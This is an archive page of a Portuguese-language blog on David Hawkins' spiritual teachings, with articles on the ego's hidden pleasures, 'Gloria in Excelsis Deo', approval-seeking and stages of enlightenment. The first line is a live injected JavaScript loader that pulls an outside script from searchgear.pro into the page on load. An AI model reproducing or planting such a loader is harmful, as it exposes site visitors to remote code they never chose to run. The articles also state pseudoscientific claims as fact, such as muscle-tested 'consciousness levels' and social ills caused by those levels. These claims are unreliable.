;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de ego - David Hawkins Brasil
Categorias
David Hawkins

O motivo pelo qual você está travado

A vida toda anda, mas tem aquele assunto que parece que não sai do lugar. Por que será? O motivo é que tem um prazer oculto em algo que está dando errado naquele assunto, e seu ego não consegue desapagar disso. Sei que à primeira vista isso parece improvável porque ninguém gosta de sofrer. Mas se você observar, vai ver a verdade sobre isso. 

PEQUENOS PRAZERES

Você já viu alguém falar que as pessoas procrastinam porque é gostoso procrastinar quando estamos procrastinando? Enquanto ainda não vieram as consequências, é uma delícia “ficar de preguicinha” e deixar o que tem para fazer de lado. E a gula? Há um enorme prazer em “comer um docinho para adoçar a vida”. Enquanto estamos saboreando uma bela massa sem pensar no amanhã, é uma delícia. É por isso que é difícil não procrastinar ou não comer tanto. Não é nem comer até ficar satisfeito, é até estar tão cheio que não cabe mais nada!

O EGO GOSTA DE ESTAR CERTO E VENCER

Da mesma forma, dá uma sensação boa apontar o dedo na cara do outro e falar sobre os defeitos dele e o que ele não consegue.  Sabe aquele “joguei tudo na cara dele”? A gente sente a sensação de “estar se vingando” e isso dá um “saborzinho”, é um “gostinho” que o nosso ego sente em brincar de ser “deus – o punitivo”, o que é uma visão de Deus do nível de consciência do Medo. 

“Em última instância, o que os seres humanos são viciados é experienciar. É por isso que continuamos mudando de canal, ligando a música, jogando e comendo um pouquinho disso e daquilo. 

Por que estamos viciados em experienciar? Porque durante a evolução, foi através da experiência que o animal sobreviveu. A experiência mantém o ego vivo, porque ele não possui fonte interna de energia espiritual. Só tem energia animal. 

Consequentemente, de cada experiência, tem de extrair o “gostinho” que é a fonte da existência animal. Por exemplo, o ego extrai um “gostinho” ao derivar alegria do sofrimento dos outros, estar certo e vencer: “Meu, ele tomou o que merecia, aquele *****, e ele mereceu!”.” – Dr. David Hawkins, “The Map of Consciousness Explained”

O EGO GOSTA DE FINGIR QUE É “DEUS”

O ego sente prazer em ser a “ovelha negra”, aquele que faz tudo diferente do sistema, aquele que não precisa da aprovação de ninguém e pode fazer tudo o que quer.  Há um prazer em lembrar aquele dia em que tomou todas e fez todos os amigos rirem. 

Falando nisso, o ego também ama a posição de “progressista”, aquele que questiona o sistema para fazer melhor. Inocentemente, acha que a sua visão é melhor do que o Todo. Acha que se fosse deus, faria melhor. Ocultamente, o ego de todos nós acredita ser deus.

O EGO GOSTA ATÉ DE SER VÍTIMA – MOSTRAR AS “INJUSTIÇAS DE DEUS”

O ego gosta de colecionar injustiças. Gosta de contar sobre situações em que foi vítima para que os outros concordem que foi a situação ou a outra pessoa que foi realmente injusto com ele. O ego gosta da atenção que recebe em ser uma pobre vítima. Quer mudar o mundo a seu redor para se sentir mais confortável.

“O experienciador (ego) se diverte com a satisfação narcisista. Tenta disfarçar o “gostinho do ego” como “ressentimento justificado”, benevolência, liberdade de expressão, vitimização justa e assim por diante. Mas se fizermos um inventário destemido e honesto de nós mesmos, veremos que qualquer negatividade que nos incomoda é porque recebemos uma recompensa por isso. 

Você pode dizer: “Ninguém gostaria de sentir autopiedade”. Mas, na verdade, muitas pessoas gostam do martírio, de serem injustiçadas e de se sentirem desconfortáveis. Isto não será novidade para terapeutas, psiquiatras e assistentes sociais que ouvem os relatos das vítimas dia após dia. 

O mundo inteiro deveria mudar porque alguém se sente desconfortável do jeito que está? A egomania e o narcisismo disso são óbvios. “Isso me deixa desconfortável.” Os indivíduos narcisistas procuram mudar o mundo em vez de mudarem a si próprios. Se o nome de Deus sobre um tribunal lhe dá uma noite sem dormir, teremos que mudar a arquitetura histórica apenas para que você possa dormir melhor? 

A chave para transcender os níveis de consciência é que você esteja disposto a mudar a si mesmo, em vez de precisar mudar outras pessoas ou mudar a sociedade. Depois de mudar a si mesmo, você experienciará os outros de maneira diferente.” – Dr. David Hawkins, “The Map of Consciousness Explained”

SE É GOSTOSO FAZER ESSAS COISAS, POR QUE TRAVA A MINHA VIDA?

Se você procrastina ou come com gula como se não houvesse amanhã está trocando pequenos prazeres pela satisfação de conquistar seus sonhos e objetivos no longo prazo. Enquanto ao sentir prazer em fazer “coisas erradas”, acreditamos que a felicidade está em buscar prazer o tempo todo. Na verdade, essa busca desenfreada por prazer, só aumenta o nosso sofrimento no longo prazo.

Já quando apontamos os defeitos do outro, isso piora ao invés de ajudar. A pessoa não tem disponível a escolha de fazer melhor, porque não colocou essa intenção para ela mesma. Então, quando a gente fala “faz melhor!”  estamos exigindo que ela tenha uma visão do alto da montanha, mas ela está no vale. O caminho é olhar para si e despegar do prazer que é “conseguir mudar o outro”.

É sempre uma não aceitação do que é. Uma não aceitação que o outro é assim, uma não aceitação de autoridade e do sistema, o que costuma vir atrelado a um relacionamento conturbado com a figura paterna, uma não aceitação daquilo que não ocorreu como o ego queria, o que coloca a pessoa no papel de vítima.

“As pessoas perguntam: “Por que não consigo ir além disso? Eu me sinto preso.” A estagnação ocorre porque cada um dos níveis tem uma recompensa relacionada a atitudes arraigadas, que surgem da nossa natureza animal. Se não houvesse recompensa, ninguém ficaria lá. Para evoluir, você só precisa saber uma coisa: o que o impede é o “gostinho”, a recompensa e a satisfação que você obtém por estar onde está. Como se costuma dizer: “Vamos extrair tudo o que a gente conseguir de benefício”. Se você estiver disposto a abrir mão das recompensas que o ego obtém por estar onde está, a barreira se dissolve.” – Dr. David Hawkins, “The Map of Consciousness Explained”

COMO SAIR DESSE APEGO EM SENTIR O “GOSTINHO DO EGO”?

A chave para sair desse ciclo de se prender pelo “gostinho do ego” é compreender que estamos abrindo mão de migalhas de prazer em prol de Algo Maior, o que nos trará muito mais felicidade e nos aproximará do que realmente importa. A aceitação não é a apatia de não agir, tampouco é subserviência. É ser astuto para compreender os fatos e dar o nosso melhor diante disso. 

Além disso, a verdade sobre os pequenos prazeres é que trazem infelicidade no longo prazo. Eles fazem a gente depender disso para ficar “feliz” por poucos minutos e logo em seguida já estamos buscando a próxima coisa porque aquilo parou de contribuir em nos deixar feliz. Buscar a felicidade fora, nesses pequenos prazeres, é o caminho certo para o sofrimento. A verdadeira felicidade está dentro de nós. Está no serviço a Deus.

A Terra não é o céu, não é um reino celestial, é um reino purgatorial. É aqui que a gente vem para ter contato com as energias e emoções negativas e poder escolher o caminho do positivo. É aqui que o nosso livre arbítrio nos permite escolher o Amor de Deus. Deus é justiça, amor, paz e bondade infinitos e tudo é perfeito como é porque faz parte da sua criação. 

“Para transcender uma barreira, portanto, é útil declarar-se servo de Deus e dedicar-se ao trabalho espiritual em nome de Deus, o que coloca a intenção da pessoa de evoluir em um campo infinitamente poderoso de pedir a Graça para render os apegos, aversões e as recompensas do ego que mantém cada nível (de consciência) no (mesmo) lugar.” – Dr. David Hawkins, “The Map of Consciousness Explained”


NÃO PERCA NADA

Esse é o só o primeiro de um série de artigos sobre o “gostinho do ego”. Veja mais sobre isso na visão do próprio dr. Hawkins nesse artigo aqui com as melhores passagens sobre isso em seus livros.

Gloria in Excelsis Deo!

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Categorias
David Hawkins

Afinal, o que significa “Gloria In Excelsis Deo”?

Gloria In Excelsis Deo!

“A espontaneidade da vida é uma expressão das essências interagindo sem esforço. O milagre da Criação é contínuo, e toda a vida é compartilhada na Divindade da sua Fonte, já que nada se manifesta exceto por ordenação Divina. Uma vez que a sacralidade da vida é revelada, aí surge o conhecimento do que significa a frase, “Gloria in Excelsis Deo!”.” 

Dr. David Hawkins em “The Ego is Not the Real You”, Parte III, pág. 92

O ego acha que é deus

“Gloria in Excelsis Deo!” significa aceitar que “Tudo é Perfeito Como É” porque tudo faz parte da criação Divina. Toda vez que não aceitamos a realidade como é, é como se pensássemos: “Deus é injusto e se eu fosse deus eu faria melhor”. Secretamente, todos nós acreditamos ser Deus. O nosso ego acredita que sabe o que é justo e o que é injusto, o que é certo e o que é errado, o que deveria acontecer e o que não deveria acontecer. É justamente por acreditar nisso que estamos aqui vivendo essa experiência do que é ser humano.

Adão e Eva

Na analogia de Adão e Eva, a árvore da vida representa os princípios divinos e a maçã representa a vontade de querer conhecer e julgar esses princípios (ou seja, a vontade de ser Deus). Ao morder a maçã, escolhemos ser o próprio deus ao invés de servir a Deus. O que isso significa? Significa que nós temos o livre arbítrio e são as escolhas que nos afastam de Deus, que geram sofrimento por si só, pelo simples fato de nos distanciarem da nossa essência. 

Fonte: Aula da Mentoria Superconhecimento em 15/mar/2023 – Pandora Treinamentos

Deus é Infinito, Infinita Bondade, Infinita Justiça, Infinita Verdade, Infinito Amor e Infinita Paz. Como tal, ele não usa de força. Ele age com Poder. É justamente por isso que temos o livre arbítrio, a essência de Deus jamais permitiria que ele nos forçasse a nada. No livro “Poder vs. Força”, o doutor Hawkins nos explica justamente a diferença entre o uso do Poder, que tem a intenção de servir ao contexto, de aceitar as coisas como são e simplesmente viver em Amor, que é o Verdadeiro Poder, em comparação a força que é usar de força para tentar manipular a realidade a nosso próprio favor.

O dr. Hawkins dedicou toda a sua carreira para nos tirar do interminável ciclo mental de descobrir o que é “justo” e o que é “injusto”, um imenso labirinto onde tudo pode ser válido (relativismo) e só a nossa mentalização sabe a resposta (mais uma vez o ego brincando de ser deus). Ele nos ensinou a sair do relativismo, onde qualquer ponto de vista é válido, e ir para o Absolutismo, onde existe um Deus que é Amor e Paz e nosso único propósito é aceitar isso e escolher servir a Deus. 

Escolher servir a Deus

Servir a Deus não é sobre fazer coisas mirabolantes, nem colocar o outro acima de si, ao contrário disso é colocar Deus acima do ego de qualquer pessoa. É aceitar uma ordem de prioridade nos relacionamentos em que primeiro está Deus, depois meu relacionamento comigo mesmo no qual eu aprendo a priorizar Deus e depois o outro. 

“Quem sou eu para ser brilhante, maravilhoso, talentoso e fabuloso?
Na realidade, quem é você para não ser?
Você é filho de Deus.

Você se fazer de pequeno não ajuda o mundo.
Não há nenhuma bondade em você se diminuir, recuar para que os outros não se sintam inseguros ao seu redor.

Todos nós fomos feitos para brilhar, como as crianças brilham.
Nascemos para manifestar a glória de Deus que está dentro de nós.
Não está apenas em um de nós, está em todos nós.”

Marianne Williamson

Servir a Deus é nos reconhecer como responsáveis pela nossa própria realidade. É reconhecer que a nossa essência é Amor, e tudo o que se reflete, na forma, diferente disso, é porque há algum aprendizado que precisa ser transcendido. Os problemas que acreditamos estarem fora de nós, como desemprego, violência, pobreza, na verdade, estão no âmbito da consciência. 

Na verdade, é sobre o livre arbítrio de escolher viver na vergonha pela sua situação de vida, culpando o governo, o mundo ou o outro pelo que acontece com si mesmo, apático sem tomar atitudes, triste pelo mundo ser como é, com medo de todas as tragédias que podem acontecer, desejando que o mundo fosse diferente, com raiva porque as coisas não são como queremos e orgulhosos do que se conquistou, afinal, foi apenas mérito próprio. 

Impacto do nível de consciência na vida mundana

Veja no quadro abaixo os índices de desemprego, violência e pobreza por nível de consciência. 

Tabela

Descrição gerada automaticamente
Fonte: Palestra dr. David Hawkins em 14/jun/2008

Mesmo o orgulho ainda não traz a verdade, nenhum fator isolado é capaz de causar outro. Há sempre uma sincronicidade infinita de fatores para que qualquer coisa aconteça. A criação e a evolução não são duas coisas distintas, são, na verdade, a mesma coisa. A evolução é a forma como a criação acontece. Nada depende exclusivamente de um ego humano, a realidade é muito distante disso. Tudo faz parte da lei do carma que se desdobra conforme as escolhas de cada um.

“Tudo está acontecendo por si só, nada causa nada”.

A lei do carma não apresenta nenhum tipo de punição. É Amor. Imagina você colocar um assassino raivoso para viver em um paraíso cheio de flores, onde toca música clássica o dia todo. Para ele, seria o inferno e não o paraíso! O amor aceita o que é, e não cria nenhuma resistência (força) em permitir que o outro seja o que é. 

Ao amar, aceitamos que um leão é um leão e precisa matar outros animais para se alimentar. Aceitamos também o que é ser humano. Ser humano é ter liberdade de escolha entre agir como um leão feroz ou ser um filho de Deus. A lei do carma é uma profunda aceitação do que se é, com respeito ao livre arbítrio e total sincronicidade entre os aprendizados de cada ser vivo. A lei do carma, então, é sobre Amor. 

Corrupção Espiritual

A corrupção espiritual vem do caminho oposto do que é proposto por “Gloria In Excelsis Deo!”, é escolher “glória a mim” ao invés de “Gloria a Deus”. Isso aconteceu, por exemplo, com Napoleão Bonaparte, quando decidiu se auto coroar ao invés de ser corado pelo Papa, como todos os seus antecessores. Ele escolheu colocar o seu ego acima de Deus.

Hoje vemos visões progressistas deturpadas, onde há um fortalecimento na crença em que há vítimas para todo o lado, e que o mundo é injusto como é. O vitimismo é uma ilusão, reflexo de achar que o “eu” faria melhor que “Deus”. 

Muitos intelectuais se afastam de Deus porque acham que ao entregar o que acontece a Deus, ou ao acreditar que existe um plano Divino para nós, a pessoa se torna vítima da situação. Na verdade, acreditar em Deus é sair da posição de vítima, e entender que podemos aprender com toda e qualquer situação da nossa vida. Toda a situação que vivemos é a situação perfeita para a nossa evolução, já que faz parte da criação Divina. Compreender isso é nos libertar e ir muito mais longe na vida. Acreditar em Deus é o que realmente nos dá o Poder de ir além.  

Conclusão

O dr. David Hawkins dedicou toda a sua carreira para nos ensinar a assumir responsabilidade sobre a nossa própria vida e nos conectar com a nossa Verdadeira Essência Divina. Ele nos ensinou a sair de um mundo onde há uma visão de predador e vítima o tempo todo para um mundo onde a gente escolhe servir a Deus e evoluir. Um mundo onde entregamos nossos julgamentos a Deus. Assim, o dr. Hawkins nos ensinou a sair do relativismo onde todos os pontos de vista são válidos e compreender o Absolutismo, onde tudo é criação divina, o “Gloria In Execelsis Deo!”. 

Leia Direto da Fonte

No livro “Poder vs. Força”, ele nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus).

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Já no livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. E esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Gloria In Excelsis Deo!

Nota: Toda vez que escrevemos deus com letra minúscula estamos nos referindo a uma visão que o ego tem de Deus que não reflete a Verdade.

Categorias
David Hawkins

Como Transcender a Busca por Aprovação? Entrevista do Dr.David Hawkins

Como transcender a busca por aprovação? Transcrição de resposta do Dr.Hawkins a um ouvinte, durante consulta pública. 

A busca por aprovação dos outros é uma das maiores expectativas e, consequentemente, frustrações humanas.

Talvez por isso, pesquisas e mais pesquisas realizadas durante os últimos anos apontem o medo de falar em público como o mais elevado – expressado pelos pesquisados – até mesmo superando o da morte, que aparece em segundo lugar.

A desaprovação social leva à morte emocional, chamada de vergonha que, ancestralmente, era visto como algo pior do que a morte.

Aprovação e Julgamento

Muitos casos de desonra por ser “uma vergonha para sua nação” eram julgados politicamente com a pena de morte por enforcamento em praça pública ou banimento social.

Isso implicava num isolamento perpétuo daquele ser, mesmo diante de outra sociedade que não acolheria alguém que desonrou sua própria nação.

Por este fator, passar vergonha é extremamente enraizado – no inconsciente coletivo – como sendo algo a evitar “a qualquer custo”, mesmo que isso custe sua própria estagnação ou queda.

Vencer o medo de ser negado, passar vergonha ou ser desaprovado exige extrema coragem.

Como transcender a busca por aprovação?

Neste vídeo, Dr. Hawkins nos explica, de maneira simples, como vencer o desejo de ser aprovado e o medo de ser reprovado, cada vez que eles aparecerem em nossa mente.

Ative a legenda em português para uma melhor experiência.

Expectador: Minha dúvida é: Como alguém consegue transcender a busca por aprovação?

Dr. Hawkins: Como alguém supera o que?

Susan: Busca por aprovação. É algo que vem do ego?

Dr.Hawkins : Certeza que é do ego. Não é nada além do ego (risos). Amor é a resposta para praticamente tudo.

E você não precisa da aprovação de outras pessoas quando você ama a si mesmo e quando você ama tudo e todos ao seu redor. Porque o amor é a Realidade do Ser.

Se a pessoa vai me amar se eu der essa palestra aqui em frente ao grupo é irrelevante. Meus serviços são para Deus, e eu sirvo a Deus por servir o meu companheiro em tudo o que vive.

E, portanto, eu não piso no inseto que está na calçada, porque ele tem vida e eu respeito a vida, e a vida para mim é a expressão do Divino. Então eu não quero pisar em Deus. É por isso que eu dou a volta no inseto (risos). Pela devoção a Deus e por perceber que Amor é Deus. Isso dissolve todos os problemas.

Aprovação do Ser Imperfeito

Se você é menos que perfeito não é permitido punir a si mesmo. Isso não é permitido.

Não se puna por não ser perfeito.

Não ser perfeito é perfeito.

Se você fosse perfeito você não seria um ser humano, você teria ficado no céu onde tudo é perfeito.

E então eu digo: “Gratidão Deus por quaisquer que sejam as lições que tenho aprendido, não importa o que aconteça” – Tudo é um presente de Deus. TUDO é um presente de Deus – “Obrigado Senhor. Amém.”

Então, Dr.Hawkins se dirige ao expectador em tom de brincadeira e diz: Sai daqui, tchau! (risos). Obrigado. Essa foi uma boa pergunta. Foi uma boa pergunta.

Sobre o Palestrante

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

– Psiquiatra clínico por mais de 50 anos;
– Escreveu livro vanguardista sobre Psiquiatria Ortomolecular com o químico ganhador do Prêmio Nobel Linus Pauling;
– Entrou para o hall da fama da medicina ortomolecular;
– Criador do Mapa de Consciência;
– Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
– Consultor diplomático entre países com conflito político;
– Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
– Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
– Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
– Dezenas de outros prêmio e honras podem ser vistos na lista completa em: www.veritaspub.com/dr-hawkins/

Sobre suas obras

Dr. David R. Hawkins é autor de doze livros, sendo dois deles best sellers mundiais com mais de um milhão de cópias vendidas em mais de 25 idiomas.

Estes três livros, O Sucesso é Para Você, Poder vs Força e Deixar Ir, foram traduzidos para o português pela Pandora Treinamentos e estão disponíveis neste em nossa loja virtual.

Nos livros, David R. Hawkins explica sobre o conceituado Mapa da Consciência, como podemos nos ancorar e atrair os campos mais positivos de consciência, e sobre a técnica de investigação da Verdade a partir do teste de resistência muscular, um aprimoramento da ciência da cinesiologia aplicada.

Categorias
Níveis de Consciência

Como despertar a Iluminação Espiritual – com Base em Dr. David R. Hawkins

Iluminação Espiritual é observação, aceitação e amor incondicional constantes no momento Presente, sem cair nas seduções das consciências negativas.

Iluminação Espiritual não é algo a ser alcançado, um estado que se chega, uma recompensa. É simplesmente Tornar-se a cada instante pura observação e testemunha.

É o filtro constante daquilo que não é de Deus, que é do ego.

O estado de Iluminação é deixar de lado a cada instante as recompensas de prazeres sensoriais de curto prazo danosas e egoístas para atender o que se pede pela Vontade Divina.

Crenças sobre a iluminação

E o ser iluminado, é alguém recluso?

Não, Ser Iluminado não significa que este ser não realize mais ações do cotidiano, como assistir um filme ou um vídeo, navegar na internet ou acessar as redes sociais.

A utopia de seres iluminados precisarem se retirar do convívio social para viver em mosteiros ou monastérios e usar vestes específicas já foi algo desmistificado por Buda há 2.500 anos.

Mas mesmo assim adoramos nos envolver em histórias de ficção espiritual e acreditar que a Iluminação Espiritual está longe, que temos que nos esforçar para a alcançar em algum lugar no futuro ou seguir determinado tipo de ritual e vestes específicas.

O que é a Iluminação Espiritual?

Iluminação Espiritual é justamente o contrário disso tudo.

É a constante troca de esforço por entrega.

Entrega e rendição contínua ao Divino, a algo maior, ao estado Búdico ou à consciência Crística, tanto faz, pois todos são uma e a mesma coisa.

Iluminação Espiritual é Presença.

Presença não é ausência de pensamento, mas o desapego dos fenômenos mentais como:

  • sensações,
  • pensamentos,
  • ideias,
  • opiniões,
  • julgamentalismos,
  • emoções
  • e todas as outras distrações advindas da mente e do ego.

Iluminação é o estado de não acreditar na mente.

Desconstruir a crença de que somos a nossa mente ou nosso corpo físico.

A crença de que somos o que pensamos e de que nossos pontos de vistas e posicionamentos quanto ao mundo devem ser defendidos.

Iluminação Espiritual é humildade de não-saber.

Aquele que acredita-que-sabe incorre em:

  • presunção,
  • ceticismo,
  • soberba,
  • orgulho ou
  • arrogância

E, quando esse nível de consciência negativo ocorre, somos levados à:

  • raiva,
  • indignação,
  • cinismo,
  • inveja,
  • ciúme,
  • irritação,
  • entre outros tantos sentimentos destrutivos.

Aquele que presume com julgamentos não pode ser humilde.

O Ser humilde sabe experiencialmente, mas está aberto a desapegar de uma crença menor por uma Verdade maior, sabendo que a consciência está em eterna busca por evolução.

Se não há a abertura em abrir mão de um saber menor por um maior, não há evolução.

Há estagnação ou involução. Sofrimento.

Iluminação Espiritual é aceitar o que É a cada momento.

  • Observar sem julgar
  • Discernir se deve ou não intervir
  • É agraciar tanto a ação quanto a inação.
  • É cortar a cada momento que nasce um pensamento, o seu envolvimento e apego a ele. Observá-lo.
  • Deixar de acreditar que está certo e que o outro está errado a cada instante: agora, e agora, e agora de novo e agora de novo, e mais uma vez, e de novo, e de novo.

Um trabalho constante. Nesta tabela abaixo é possível compreender melhor a diferencia entre julgamento e observação:

Iluminação Espiritual não é complexidade. É simplicidade. Muita simplicidade.

É inocência pura. “Vinde a mim as crianças e não as impeça, pois o reino dos Céus são daqueles semelhantes a elas” de Jesus Cristo.

É um estado de ser criança e idoso (Lao-Tsé). A ingenuidade infantil com o discernimento maduro. Ambos juntos.

O discernimento é o saber experiencial de que não sabemos de nada.

Se acharmos que sabemos, estamos fechados a aprender o novo.

E sem aprendizado não há evolução.

A ingenuidade, por sua vez, é o estado de confiar plenamente em que: o que está acontecendo agora é o melhor para a evolução do Ser e devo me ater apenas a aprender com cada momento.

Tanto discernimento quanto humildade são imprescindíveis para o aprendizado.

Por isso, ambos, por mais que pareçam divergentes e juntos pareçam paradoxais, são uma e a mesma coisa.

Iluminação Espiritual é o constante desapego do menor pelo Maior.

É o alinhamento pleno e contínuo com a vontade Divina. Mesmo que a Vontade Divina daquele momento seja não fazer nada, ou assistir Netflix, ou conversar com um familiar.

Tudo é como É, e isto deve ser profundamente aceito.

Pois se tivesse que ser diferente, seria!

Sendo o que somos

Para ser iluminado, primeiro deve-se quebrar a crença de que devemos ser diferentes do que somos, pois quem quer ser diferente, por comparação, é o ego.

O ego que busca algo fora e no futuro.

Iluminação é o estado de autoaceitação e aceitação com ausência de:

  • querer,
  • desejar,
  • julgar.

É a troca da condenação pela compreensão que se torna compaixão.

Por si mesmo, pelos outros, por todos os seres encarnados e desencarnados que possuem uma vida física ou não física.

Compreendendo os níveis de consciência

Dr. David R. Hawkins dedicou a sua vida a curar pessoas: física, mental e espiritualmente e a realizar trabalhos altruístas por todo o mundo, atendendo clinicamente, palestrando e escrevendo livros os quais inspiram as pessoas no caminho da autocura e da Iluminação Espiritual.

Seu primeiro livro, Poder vs. Força (best-seller traduzido para o português pela Pandora Treinamentos), foi embasado em sua tese de PhD, a qual revolucionou a compreensão da ciência através da comprovação dos níveis de consciência e da identificação da interconexão de tudo o que existe, existiu e virá a existir.

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

  • Psiquiatra clínico por mais de 50 anos;
  • Escreveu livro vanguardista sobre Psiquiatria Molecular com o químico ganhador do Prêmio Nobel Linus Pauling;
  • Entrou para o hall da fama da medicina ortomolecular;
  • Criador do Mapa de Consciência;
  • Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
  • Consultor diplomático entre países com conflito político;
  • Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
  • Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
  • Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
  • Dezenas de outros prêmio e honras podem ser vistos na lista completa em: https://davidhawkins.com.br/david-hawkins/biografia-dr-david-hawkins/

Uma sequência de artigos

A sequência de artigos que vimos até aqui e que constam no final dessa página aprofunda cada nível de consciência descrito pelo Dr. David R. Hawkins cuja tabela desses níveis encontra-se em seus livros.

Cada nível de consciência, em ordem crescente, tem poder de influência e propensão a mudança absurdamente maior do que o nível anterior, já que esta categorização de 0 a 1.000 representa analogamente uma escala logarítmica com base 10.

Ou seja, o nível de consciência 3 não é a soma de 2+1, mas sim o nível 2 elevado à décima potência, como um comparativo simples de entender.

Para quem tiver interesse em se aprofundar no entendimento sobre a checagem dos níveis de consciência, indico a leitura do livro Power vs Force que pode ser encontrado na loja da Pandora Treinamentos, tradutora oficial dos livros do Dr. Hawkins para o português.

Os estágios de Salvação, Iluminação Espiritual e Nirvana

De acordo com Dr. David R. Hawkins, existem diversos estágios de iluminação, já que a consciência é constantemente evolucionária.

Os primeiros estágios em correlação às descrições de Buda, acontecem ainda nos níveis de consciência de Amor e Amor Incondicional.

O primeiro estágio – Sotapanna

O estágio de Sotapanna, no nível calibrável de gratidão em 510, é considerado aquele que entra no fluxo. 

Esse ser se livrou de três amarras que o mantém nas ilusões do mundo, do ego e da mente (Maya):

  • crença em si mesmo separado do Todo,
  • o apego a rituais e
  • o ceticismo sobre o Caminho a Deus (iluminação).

Este Ser vai renascer no máximo mais sete vezes para aprender o suficiente sobre a Iluminação Espiritual e abandonar Samsara, o ciclo contínuo e ininterrupto de nascimentos e mortes físicas.

Dentro do conceito cristão, a Salvação através de Jesus Cristo é equivalente ao nível de consciência de 540, ou Amor Incondicional.

Assim, quando nos libertamos do corpo físico por espontaneidade (e não por forçarmos), a própria consciência Crística se “encarrega” de nos levar à iluminação ou unificação em Deus, nos reinos celestes, sem a necessidade de reencarnar se assim quisermos e se for de Vontade Divina.

O segundo estágio – Sakadagami

O segundo estágio de iluminação budista, chamado Sakadagami, equivalente a 570 nos níveis de consciência, é considerado aquele que retorna apenas mais uma vez. 

Esse ser além das três amarras que já cortou enfraquece o laço com mais duas: desejos sensoriais e má intenção. Renascerá apenas mais uma vez para dissolver seus resíduos cármicos.

O terceiro estágio – Anagami

O terceiro estado de iluminação, ou Anagami, é equivalente ao nível calibrável de 600, ou chamado estado de Paz, descrito no artigo anterior desta série.

No ioga, este estado é denominado o primeiro estágio de Samadhi, ainda com resquícios de ego, denominado Savikalpa Samadhi, a compreensão da Existência e a comunhão com o Universo.

Este Ser é considerado aquele que não retorna, a não ser que seja de Vontade Divina para orientar a humanidade.

Este ser cortou os cinco primeiros laços mencionados de maneira permanente. Não renasce mais no domínio dos sentidos, renasce em um paraíso sem forma e se ilumina por lá.

Neste estágio, o Ser se torna o observador e a testemunha que intervém no mundo quando é Convocado.

Já não há mais a necessidade de fazer algo para alimentar seus prazeres pessoais, por mais que as preferências características daquela vida humana permaneçam, pois não há necessidade de serem alteradas ou deixadas de lado se forem de pura intenção, já que o estado é de plena aceitação.

Este nível é o nível de consciência de grandes mestres espirituais e santos como:

  • Lao-Tsé,
  • São Francisco de Assis,
  • S. N. Goenka,
  • Chico Xavier no final de sua vida quando já não lecionava mais, entre outros.

O salto para a autorrealização

Ainda neste terceiro estágio, o Dr. David R. Hawkins explica que há uma evolução com características diferenciadas para o nível de consciência de Autorrealização em 700.

A partir deste nível e adiante, encontramos os grandes profetas espirituais que dedicaram sua vida para salvar a humanidade e nos ensinar a base de todas as religiões clássicas as quais temos conhecimento como:

  • Cristianismo,
  • Islamismo,
  • Judaísmo,
  • Budismo,
  • Hinduísmo,
  • entre outras.

A Graça do Ser é descrita como inefável (indescritível, inominável, indivisível).

Neste nível de consciência, encontramos sábios como:

  • Maomé,
  • Mahatma Gandhi,
  • Madre Teresa de Calcutá,
  • Teresa de Ávila,
  • São Paulo de Tarso,
  • Patanjali,
  • Sri Nisargadatta Maharaj,
